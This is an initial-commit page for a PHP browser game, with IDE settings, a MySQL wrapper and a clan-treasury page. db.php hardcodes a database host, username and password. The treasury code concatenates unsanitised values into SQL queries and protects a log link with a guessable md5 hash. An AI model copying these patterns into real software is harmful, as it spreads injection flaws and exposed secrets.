initial commit

This commit is contained in:
lopar 2018-01-28 18:40:49 +02:00
commit 46c75d1542
8193 changed files with 183296 additions and 0 deletions

10
.idea/battles-game.iml Normal file
View File

@ -0,0 +1,10 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="WEB_MODULE" version="4">
<component name="NewModuleRootManager">
<content url="file://$MODULE_DIR$">
<sourceFolder url="file://$MODULE_DIR$" isTestSource="false" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
</module>

9
.idea/composerJson.xml Normal file
View File

@ -0,0 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ComposerJsonPluginSettings">
<unboundedVersionInspectionSettings>
<excludedPackages />
</unboundedVersionInspectionSettings>
<customRepositories />
</component>
</project>

8
.idea/modules.xml Normal file
View File

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectModuleManager">
<modules>
<module fileurl="file://$PROJECT_DIR$/.idea/battles-game.iml" filepath="$PROJECT_DIR$/.idea/battles-game.iml" />
</modules>
</component>
</project>

6
.idea/vcs.xml Normal file
View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="VcsDirectoryMappings">
<mapping directory="" vcs="Git" />
</component>
</project>

280
.idea/workspace.xml Normal file
View File

@ -0,0 +1,280 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ChangeListManager">
<list default="true" id="099ac1fa-d110-4265-9475-c5ca8779a3f9" name="Default" comment="" />
<option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
<option name="TRACKING_ENABLED" value="true" />
<option name="SHOW_DIALOG" value="false" />
<option name="HIGHLIGHT_CONFLICTS" value="true" />
<option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
<option name="LAST_RESOLUTION" value="IGNORE" />
</component>
<component name="FileEditorManager">
<leaf />
</component>
<component name="Git.Settings">
<option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" />
</component>
<component name="JsBuildToolGruntFileManager" detection-done="true" sorting="DEFINITION_ORDER" />
<component name="JsBuildToolPackageJson" detection-done="true" sorting="DEFINITION_ORDER" />
<component name="JsGulpfileManager">
<detection-done>true</detection-done>
<sorting>DEFINITION_ORDER</sorting>
</component>
<component name="PhpWorkspaceProjectConfiguration" backward_compatibility_performed="true" />
<component name="ProjectFrameBounds" extendedState="6">
<option name="x" value="-7" />
<option name="y" value="30" />
<option name="width" value="1094" />
<option name="height" value="1017" />
</component>
<component name="ProjectLevelVcsManager" settingsEditedManually="true" />
<component name="ProjectView">
<navigator currentView="ProjectPane" proportions="" version="1">
<flattenPackages />
<showMembers />
<showModules />
<showLibraryContents />
<hideEmptyPackages />
<abbreviatePackageNames />
<autoscrollToSource />
<autoscrollFromSource />
<sortByType />
<manualOrder />
<foldersAlwaysOnTop value="true" />
</navigator>
<panes>
<pane id="ProjectPane">
<subPane>
<expand>
<path>
<item name="battles-game" type="b2602c69:ProjectViewProjectNode" />
<item name="battles-game" type="2a2b976b:PhpTreeStructureProvider$1" />
</path>
</expand>
<select />
</subPane>
</pane>
<pane id="Scratches" />
<pane id="Scope" />
</panes>
</component>
<component name="PropertiesComponent">
<property name="WebServerToolWindowFactoryState" value="false" />
<property name="last_opened_file_path" value="C:/Program Files/Git/bin/git.exe" />
<property name="settings.editor.selected.configurable" value="project.propVCSSupport.Mappings" />
</component>
<component name="RunDashboard">
<option name="ruleStates">
<list>
<RuleState>
<option name="name" value="ConfigurationTypeDashboardGroupingRule" />
</RuleState>
<RuleState>
<option name="name" value="StatusDashboardGroupingRule" />
</RuleState>
</list>
</option>
</component>
<component name="ShelveChangesManager" show_recycled="false">
<option name="remove_strategy" value="false" />
</component>
<component name="TaskManager">
<task active="true" id="Default" summary="Default task">
<changelist id="099ac1fa-d110-4265-9475-c5ca8779a3f9" name="Default" comment="" />
<created>1517154442513</created>
<option name="number" value="Default" />
<option name="presentableId" value="Default" />
<updated>1517154442513</updated>
<workItem from="1517155484792" duration="987000" />
</task>
<servers />
</component>
<component name="TimeTrackingManager">
<option name="totallyTimeSpent" value="987000" />
</component>
<component name="ToolWindowManager">
<frame x="-8" y="-8" width="1696" height="1026" extended-state="6" />
<layout>
<window_info id="Project" active="true" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="0" side_tool="false" content_ui="combo" />
<window_info id="TODO" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="6" side_tool="false" content_ui="tabs" />
<window_info id="Event Log" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.32969433" sideWeight="0.5" order="-1" side_tool="true" content_ui="tabs" />
<window_info id="Database" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="-1" side_tool="false" content_ui="tabs" />
<window_info id="Run" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="false" content_ui="tabs" />
<window_info id="Version Control" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="-1" side_tool="false" content_ui="tabs" />
<window_info id="Structure" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
<window_info id="Terminal" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="-1" side_tool="false" content_ui="tabs" />
<window_info id="Debug" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" />
<window_info id="Favorites" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="-1" side_tool="true" content_ui="tabs" />
<window_info id="Cvs" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="4" side_tool="false" content_ui="tabs" />
<window_info id="Hierarchy" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="2" side_tool="false" content_ui="combo" />
<window_info id="Message" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
<window_info id="Commander" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
<window_info id="Find" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
<window_info id="Inspection" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="5" side_tool="false" content_ui="tabs" />
<window_info id="Ant Build" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
</layout>
</component>
<component name="TypeScriptGeneratedFilesManager">
<option name="version" value="1" />
</component>
<component name="VcsContentAnnotationSettings">
<option name="myLimit" value="2678400000" />
</component>
<component name="VcsManagerConfiguration">
<ignored-roots>
<path value="$PROJECT_DIR$" />
</ignored-roots>
</component>
<component name="XDebuggerManager">
<breakpoint-manager />
<watches-manager />
</component>
<component name="editorHistoryManager">
<entry file="file://$PROJECT_DIR$/11city.php">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="0">
<caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding>
<marker date="1517151066611" expanded="true" signature="149:212" ph="SELECT * FRO... users" />
<marker date="1517151066611" expanded="true" signature="256:316" ph="SELECT * FRO... clans" />
<marker date="1517151066611" expanded="true" signature="362:426" ph="SELECT * FRO... digger" />
<marker date="1517151066611" expanded="true" signature="691:772" ph="SELECT `id`,... cit_haos_status" />
<marker date="1517151066611" expanded="true" signature="917:1009" ph="SELECT `id`,... digger" />
<marker date="1517151066611" expanded="true" signature="1201:1315" ph="SELECT SUM(`... inventory" />
<marker date="1517151066611" expanded="true" signature="1546:1630" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="1847:1948" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="2355:2439" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="2660:2761" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="2978:3126" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="4016:4100" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="4312:4413" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="4626:4774" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="5246:5351" ph="..." />
<marker date="1517151066611" expanded="true" signature="5268:5306" ph="{...}" />
<marker date="1517151066611" expanded="true" signature="5363:5464" ph="..." />
<marker date="1517151066611" expanded="true" signature="5707:5791" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="6006:6107" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="6325:6473" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="6950:7055" ph="..." />
<marker date="1517151066611" expanded="true" signature="6972:7010" ph="{...}" />
<marker date="1517151066611" expanded="true" signature="7067:7171" ph="..." />
<marker date="1517151066611" expanded="true" signature="7440:7524" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="7741:7842" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="8063:8215" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="8671:8776" ph="..." />
<marker date="1517151066611" expanded="true" signature="8693:8731" ph="{...}" />
<marker date="1517151066611" expanded="true" signature="8788:8886" ph="..." />
<marker date="1517151066611" expanded="true" signature="9157:9241" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="9460:9561" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="9785:9937" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="10419:10524" ph="..." />
<marker date="1517151066611" expanded="true" signature="10441:10479" ph="{...}" />
<marker date="1517151066611" expanded="true" signature="10536:10627" ph="..." />
<marker date="1517151066611" expanded="true" signature="10892:10976" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="11188:11289" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="11503:11651" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="12072:12177" ph="..." />
<marker date="1517151066611" expanded="true" signature="12094:12132" ph="{...}" />
<marker date="1517151066611" expanded="true" signature="12189:12285" ph="..." />
<marker date="1517151066611" expanded="true" signature="12560:12644" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="12860:12961" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="13181:13333" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="13755:13860" ph="..." />
<marker date="1517151066611" expanded="true" signature="13777:13815" ph="{...}" />
<marker date="1517151066611" expanded="true" signature="13872:13968" ph="..." />
<marker date="1517151066611" expanded="true" signature="14241:14325" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="14541:14642" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="14862:15014" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="15436:15541" ph="..." />
<marker date="1517151066611" expanded="true" signature="15458:15496" ph="{...}" />
<marker date="1517151066611" expanded="true" signature="15553:15646" ph="..." />
<marker date="1517151066611" expanded="true" signature="16511:16659" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="16771:16919" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="16970:17055" ph="update `user... " />
<marker date="1517151066611" expanded="true" signature="17170:17318" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="17421:17569" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="18665:18813" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="19045:19193" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="19563:19711" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="20298:20446" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="20681:20829" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="20880:20965" ph="update `user... " />
<marker date="1517151066611" expanded="true" signature="21166:21250" ph="SELECT `id` effects" />
<marker date="1517151066611" expanded="true" signature="21397:21545" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="21742:21890" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="22801:22953" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="23387:23537" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="23661:23811" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="23904:24054" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="24396:24544" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="24676:24824" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="25019:25169" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="25432:25580" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="25831:25983" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="26284:26436" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="26817:26967" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="27476:27626" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="27986:28138" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="28241:28393" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="28577:28725" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="29078:29228" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="29543:29632" ph="update `user... " />
<marker date="1517151066611" expanded="true" signature="29758:29906" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="30022:30172" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="30286:30436" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="30557:30707" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="30838:30988" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="31320:31470" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="31695:31847" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="32001:32149" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="33354:33415" ph="SELECT * FRO... online" />
<marker date="1517151066611" expanded="true" signature="35345:35406" ph="..." />
<marker date="1517151066611" expanded="true" signature="35408:35666" ph="..." />
<marker date="1517151066611" expanded="true" signature="35593:35660" ph="..." />
<marker date="1517151066611" expanded="true" signature="36076:36137" ph="..." />
<marker date="1517151066611" expanded="true" signature="36139:36397" ph="..." />
<marker date="1517151066611" expanded="true" signature="36324:36391" ph="..." />
<marker date="1517151066611" expanded="true" signature="36953:36988" ph="..." />
<marker date="1517151066611" expanded="true" signature="39788:39823" ph="..." />
<marker date="1517151066611" expanded="true" signature="41822:41857" ph="..." />
<marker date="1517151066611" expanded="true" signature="44083:44118" ph="..." />
<marker date="1517151066611" expanded="true" signature="46023:46058" ph="..." />
<marker date="1517151066611" expanded="true" signature="47195:47230" ph="..." />
<marker date="1517151066611" expanded="true" signature="48785:48842" ph="SELECT `boch... users" />
<marker date="1517151066611" expanded="true" signature="48926:48996" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="49118:49188" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="49391:49400" ph="..." />
<marker date="1517151066611" expanded="true" signature="49439:49448" ph="..." />
<marker date="1517151066611" expanded="true" signature="49560:49652" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="49767:49776" ph="..." />
<marker date="1517151066611" expanded="true" signature="49888:49980" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="50089:50098" ph="..." />
<marker date="1517151066611" expanded="true" signature="50137:50146" ph="..." />
<marker date="1517151066611" expanded="true" signature="50257:50348" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="50549:50558" ph="..." />
<marker date="1517151066611" expanded="true" signature="50597:50606" ph="..." />
<marker date="1517151066611" expanded="true" signature="50750:50888" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="50968:50977" ph="..." />
<marker date="1517151066611" expanded="true" signature="51016:51025" ph="..." />
<marker date="1517151066611" expanded="true" signature="51151:51287" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="51384:51393" ph="..." />
<marker date="1517151066611" expanded="true" signature="51432:51441" ph="..." />
<marker date="1517151066611" expanded="true" signature="51575:51711" ph="UPDATE `user... " />
<marker date="1517151066611" expanded="true" signature="51904:51913" ph="..." />
<marker date="1517151066611" expanded="true" signature="51952:51961" ph="..." />
<marker date="1517151066611" expanded="true" signature="52077:52337" ph="INSERT INTO `inventory`... " />
<marker date="1517151066611" expanded="true" signature="52441:52450" ph="..." />
<marker date="1517151066611" expanded="true" signature="52489:52498" ph="..." />
<marker date="1517151066611" expanded="true" signature="52679:52688" ph="..." />
<marker date="1517151066611" expanded="true" signature="52727:52736" ph="..." />
<marker date="1517151066611" expanded="true" signature="52900:52909" ph="..." />
<marker date="1517151066611" expanded="true" signature="52948:52957" ph="..." />
<marker date="1517151066611" expanded="true" signature="53795:53830" ph="..." />
<marker date="1517151066611" expanded="true" signature="54808:54843" ph="..." />
</folding>
</state>
</provider>
</entry>
</component>
</project>

1170
11city.php Normal file

File diff suppressed because it is too large Load Diff

11
Database/Exception.php Normal file
View File

@ -0,0 +1,11 @@
<?php
/**
* @author Vasiliy Makogon, makogon-vs@yandex.ru
* @link https://github.com/Vasiliy-Makogon/Database/
*/
namespace Krugozor\Database\Mysql;
class Exception extends \Exception
{
}

1040
Database/Mysql.php Normal file

File diff suppressed because it is too large Load Diff

167
Database/Statement.php Normal file
View File

@ -0,0 +1,167 @@
<?php
/**
* @author Vasiliy Makogon, makogon-vs@yandex.ru
* @link https://github.com/Vasiliy-Makogon/Database/
*
* Обёртка над объектом mysqli_result.
*/
namespace Krugozor\Database\Mysql;
class Statement
{
/**
* Рузультат SQL-операции в виде объекта mysqli_result.
*
* @var mysqli_result
*/
private $mysqli_result = null;
/**
* @param mysqli_result
*/
public function __construct(\mysqli_result $mysqli_result)
{
$this->mysqli_result = $mysqli_result;
}
/**
* Извлекает результирующий ряд в виде ассоциативного массива.
*
* @see mysqli_fetch_assoc
* @param void
* @return array
*/
public function fetch_assoc()
{
return mysqli_fetch_assoc($this->mysqli_result);
}
/**
* Извлекает результирующий ряд в виде массива.
*
* @see mysqli_fetch_row
* @param void
* @return array
*/
public function fetch_row()
{
return mysqli_fetch_row($this->mysqli_result);
}
/**
* Извлекает результирующий ряд в виде объекта.
*
* @see mysqli_fetch_object
* @param void
* @return stdClass
*/
public function fetch_object()
{
return mysqli_fetch_object($this->mysqli_result);
}
/**
* Возвращает результат в виде массива ассоциативных массивов.
*
* @param void
* @return array
*/
public function fetch_assoc_array()
{
$array = array();
while ($row = mysqli_fetch_assoc($this->mysqli_result)) {
$array[] = $row;
}
return $array;
}
/**
* Возвращает результат в виде массива массивов.
*
* @param void
* @return array
*/
public function fetch_row_array()
{
$array = array();
while ($row = mysqli_fetch_row($this->mysqli_result)) {
$array[] = $row;
}
return $array;
}
/**
* Возвращает результат в виде массива объектов.
*
* @param void
* @return array
*/
public function fetch_object_array()
{
$array = array();
while ($row = mysqli_fetch_object($this->mysqli_result)) {
$array[] = $row;
}
return $array;
}
/**
* Возвращает значение первого поля результирующей таблицы.
*
* @param void
* @return string
*/
public function getOne()
{
$row = mysqli_fetch_row($this->mysqli_result);
return $row[0];
}
/**
* Возвращает количество рядов в результате.
* Эта команда верна только для операторов SELECT.
*
* @see mysqli_num_rows
* @param void
* @return int
*/
public function getNumRows()
{
return mysqli_num_rows($this->mysqli_result);
}
/**
* Возвращает объект результата mysqli_result.
*
* @param void
* @return mysqli_result
*/
public function getResult()
{
return $this->mysqli_result;
}
/**
* Освобождает память занятую результатами запроса.
*
* @param void
* @return void
*/
public function free()
{
$this->mysqli_result->free();
}
public function __destruct()
{
$this->free();
}
}

31
Database/db.php Normal file
View File

@ -0,0 +1,31 @@
<?php
/**
* Created by PhpStorm.
* User: lopiu
* Date: 28.01.2018
* Time: 16:35
*/
class db
{
private static $_instance = null;
private function __clone() {}
private function __construct() {}
/**
* @return \Krugozor\Database\Mysql\Mysql
*/
public static function c()
{
if (!self::$_instance)
{
self::$_instance = Krugozor\Database\Mysql\Mysql::create("192.168.20.100", "combats_full", "JuUn1hWq4J")
// Выбор базы данных
->setDatabaseName("combats_game")
// Выбор кодировки
->setCharset("utf8");
}
return self::$_instance;
}
}

29
README.md Normal file
View File

@ -0,0 +1,29 @@
# README #
This README would normally document whatever steps are necessary to get your application up and running.
### What is this repository for? ###
* Quick summary
* Version
* [Learn Markdown](https://bitbucket.org/tutorials/markdowndemo)
### How do I get set up? ###
* Summary of set up
* Configuration
* Dependencies
* Database configuration
* How to run tests
* Deployment instructions
### Contribution guidelines ###
* Writing tests
* Code review
* Other guidelines
### Who do I talk to? ###
* Repo owner or admin
* Other community or team contact

View File

@ -0,0 +1,147 @@
<?
session_start();
if(!isset($_SESSION['uid'])) { header('Location: ../../index.php'); exit(); }
include('../../config.php');
include('../../functions.php');
if($user['klan'] == '') { header('Location: ../../main.php'); exit(); }
$clan = mysql_fetch_array(mysql_query('SELECT `id`, `recruits`, `short`, `name`, `descr`, `glava`, `money`, `ekr`, `vozm`, `align`, `mshadow`, `wshadow`, `homepage`, `rating`, `zbor`, `zamok`, `izamok`, `ifon` FROM `clans` WHERE `id` = "'.$user['klan'].'" LIMIT 1'));
$err = '';
if($user['clan_prava'] != 'glava') {
$utitl = mysql_fetch_array(mysql_query('SELECT * FROM `clan_tituls` WHERE `id` = "'.$user['clan_prava'].'" LIMIT 1'));
if(!isset($utitl['id'])) {
$utitl = mysql_fetch_array(mysql_query('SELECT * FROM `clan_tituls` WHERE `id` = 2 LIMIT 1'));
}
} else {
$utitl = mysql_fetch_array(mysql_query('SELECT * FROM `clan_tituls` WHERE `id` = 1 LIMIT 1'));
}
if(isset($utitl['id'])) {
$i = 1;
while($i < count($clan_acces)) {
if($utitl['prava'][$i] > 0) {
$clan_acces[$i][0] = 1;
}
$i++;
}
}
if($_GET['addcredits']) {
if($clan_acces[7][0] == 1) {
if($user['money'] >= $_GET['sums'] && $_GET['sums'] > 0) {
if(isset($_GET['comment']) && $_GET['comment'] != '') {
$user['money'] -= (int)$_GET['sums'];
$clan['money'] += (int)$_GET['sums'];
$text = mysql_real_escape_string(iconv("utf-8", "utf-8", $_GET['comment']));
mysql_query('UPDATE `users` SET `money` = "'.$user['money'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1');
mysql_query('UPDATE `clans` SET `money` = "'.$clan['money'].'" WHERE `id` = "'.$clan['id'].'" LIMIT 1');
mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '{$user['id']}', '\"".$user['login']."\" Пополнил казну клана: ($clan[name] / $clan[id]) на сумму: ".(int)$_GET['sums']." кр. С пометкой : $text', '1', '".time()."')");
mysql_query('INSERT INTO `clan_log` (`clan_id`, `user_id`, `time`, `type`, `suma`, `comment`) VALUES ("'.$clan['id'].'", "'.$user['id'].'", "'.time().'", "1", "'.(int)$_GET['sums'].'", "'.$text.'")');
$err = '<b style="color: Red;">Казна пополненна на '.(int)$_GET['sums'].' кр.</b>';
} else {
$err = '<b style="color: Red;">Введите комментарий</b>';
}
} elseif($_GET['sums'] <= 0) {
$err = '<b style="color: Red;">Введите сумму</b>';
} else {
$err = '<b style="color: Red;">Недостаточно средств</b>';
}
} else {
$err = '<b style="color: Red;">У Вас нет прав на выполнение данной операции</b>';
}
}
if($_GET['addecredits']) {
if($clan_acces[7][0] == 1) {
if(isset($banks['id'])) {
if($banks['ekr'] >= (int)$_GET['sums'] && $_GET['sums'] > 0) {
if(isset($_GET['comment']) && $_GET['comment'] != '') {
$banks['ekr'] -= (int)$_GET['sums'];
$clan['ekr'] += (int)$_GET['sums'];
$text = mysql_real_escape_string(iconv("utf-8", "utf-8", $_GET['comment']));
mysql_query('UPDATE `bank` SET `ekr` = "'.$banks['ekr'].'" WHERE `id` = "'.$banks['id'].'" LIMIT 1');
mysql_query('UPDATE `clans` SET `ekr` = "'.$clan['ekr'].'" WHERE `id` = "'.$clan['id'].'" LIMIT 1');
mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '{$user['id']}', '\"".$user['login']."\" Пополнил казну клана: ($clan[name] / $clan[id]) на сумму: ".(int)$_GET['sums']." екр, со счёта : $banks[id]. С пометкой : $text', '1', '".time()."')");
mysql_query('INSERT INTO `clan_log` (`clan_id`, `user_id`, `time`, `type`, `suma`, `comment`) VALUES ("'.$clan['id'].'", "'.$user['id'].'", "'.time().'", "2", "'.(int)$_GET['sums'].'", "'.$text.'")');
$err = '<b style="color: Red;">Казна пополненна на '.(int)$_GET['sums'].' eкр.</b>';
} else {
$err = '<b style="color: Red;">Введите комментарий</b>';
}
} elseif($_GET['sums'] <= 0) {
$err = '<b style="color: Red;">Введите сумму</b>';
} else {
$err = '<b style="color: Red;">Недостаточно средств</b>';
}
} else {
$err = '<b style="color: Red;">Авторизируйтесь в банковском счету</b>';
}
} else {
$err = '<b style="color: Red;">У Вас нет прав на выполнение данной операции</b>';
}
}
function form_pay($us, $clan) {
global $clan_acces, $banks;
$user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `level`, `money` FROM `users` WHERE `id` = "'.$us.'" LIMIT 1'));
$r = '';
if($clan_acces[7][0] == 1) {
$r .= 'У Вас в наличии : <b>'.$user['money'].'</b> .кр<br />';
$r .= '<a href="javascript: void(0);" onclick="addCredits();">Пополнить (кредиты)</a><br />';
if(isset($banks['id'])) {
$r .= '<br />Счёт #'.$banks['id'].': <b>'.$banks['cr'].'</b> .кр и <b>'.$banks['ekr'].'</b> .екр<br />';
$r .= '<a href="javascript: void(0);" onclick="addeCredits();">Пополнить (еврокредиты)</a>';
} else {
$r .= '<br />Авторизируйтесь в банке через Инвентарь';
}
}
return $r;
}
?>
<script>
function proverka(input) {
input.value = input.value.replace(/[^\d]/g, '');
}
function addCredits() {
new miDialog({title : 'Пополнить казну кредитами'}, {addcredits : 1}, function() {
document.location = '/__modules/clan_panel.php?razdel=kazna&'+$.param(this.data);
},
$('<div>Комментарий</div>').append(miDialog._simpleInput({name : 'comment'})).append('<div>Сумма</div>').append(miDialog._oneInput({name : 'sums', onkeyup : 'return proverka(this);', onchange : 'return proverka(this);', value : '0'})), {width : 280});
}
function addeCredits() {
new miDialog({title : 'Пополнить казну еврокредитами'}, {addecredits : 1}, function() {
document.location = '/__modules/clan_panel.php?razdel=kazna&'+$.param(this.data);
},
$('<div>Комментарий</div>').append(miDialog._simpleInput({name : 'comment'})).append('<div>Сумма</div>').append(miDialog._oneInput({name : 'sums', onkeyup : 'return proverka(this);', onchange : 'return proverka(this);', value : '0'})), {width : 280});
}
</script>
<table width="100%" border="0">
<tbody>
<tr>
<td align="center">
<table valign="top" align="center" width="100%">
<tbody>
<tr>
<td><br />
<center><br />
<? if($err != '') { echo $err.'<br />'; } ?>
<b>Клановая казна: <font color="#339900"><?=$clan['money']; ?></font> кр, <font color="#339900"><?=$clan['ekr']; ?></font> екр.</b><br /><br />
<fieldset style="width: 300px; height: 100px;">
<legend align="center"><b>Пополнить казну:</b></legend>
<? if($clan_acces[7][0] == 1) { echo form_pay($user['id'], $clan['id']); } else { echo '<b>Вы не можете пополнять казну</b>'; } ?>
</fieldset>
<? if($clan_acces[6][0] == 1) { ?>
<a href="http://capitalcity.old-dark.ru/clan_log.php?act=caznalog&clan=<?=$clan['id'];?>&hash=<?=md5($user['id'].'|'.$user['login']);?>" target="_blank">Просмотр действий с казной</a>
<? } ?>
</center>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>

View File

@ -0,0 +1,117 @@
<?
session_start();
if(!isset($_SESSION['uid'])) { header('Location: ../../index.php'); exit(); }
include('../../config.php');
include('../../functions.php');
if($user['klan'] == '') { header('Location: ../../main.php'); exit(); }
$clan = mysql_fetch_array(mysql_query('SELECT `id`, `recruits`, `short`, `name`, `descr`, `glava`, `vozm`, `align`, `mshadow`, `wshadow`, `homepage`, `rating`, `zbor`, `zamok`, `izamok`, `ifon` FROM `clans` WHERE `id` = "'.$user['klan'].'" LIMIT 1'));
if($clan['recruits'] > 0) {
